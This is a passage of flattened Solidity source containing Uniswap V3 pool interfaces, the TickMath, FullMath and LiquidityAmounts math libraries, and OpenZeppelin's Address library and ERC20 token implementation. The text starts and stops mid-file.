/// @param amount1Owed The amount of token1 due to the pool for the minted liquidity
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call
function uniswapV3MintCallback(
uint256 amount0Owed,
uint256 amount1Owed,
bytes calldata data
) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './pool/IUniswapV3PoolImmutables.sol';
import './pool/IUniswapV3PoolState.sol';
import './pool/IUniswapV3PoolDerivedState.sol';
import './pool/IUniswapV3PoolActions.sol';
import './pool/IUniswapV3PoolOwnerActions.sol';
import './pool/IUniswapV3PoolEvents.sol';
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import '@uniswap/v3-core/contracts/libraries/FullMath.sol';
import '@uniswap/v3-core/contracts/libraries/FixedPoint96.sol';
/// @title Liquidity amount functions
/// @notice Provides functions for computing liquidity amounts from token amounts and prices
library LiquidityAmounts {
/// @notice Downcasts uint256 to uint128
/// @param x The uint258 to be downcasted
/// @return y The passed value, downcasted to uint128
function toUint128(uint256 x) private pure returns (uint128 y) {
require((y = uint128(x)) == x);
}
/// @notice Computes the amount of liquidity received for a given amount of token0 and price range
/// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount0 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount0(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96);
return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the amount of liquidity received for a given amount of token1 and price range
/// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)).
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount1 The amount1 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount1(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount of token0 being sent in
/// @param amount1 The amount of token1 being sent in
/// @return liquidity The maximum amount of liquidity received
function getLiquidityForAmounts(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);
liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
} else {
liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
}
}
/// @notice Computes the amount of token0 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
function getAmount0ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
FullMath.mulDiv(
uint256(liquidity) << FixedPoint96.RESOLUTION,
sqrtRatioBX96 - sqrtRatioAX96,
sqrtRatioBX96
) / sqrtRatioAX96;
}
/// @notice Computes the amount of token1 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount1 The amount of token1
function getAmount1ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Computes the token0 and token1 value for a given amount of liquidity, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function getAmountsForLiquidity(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity);
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity);
} else {
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
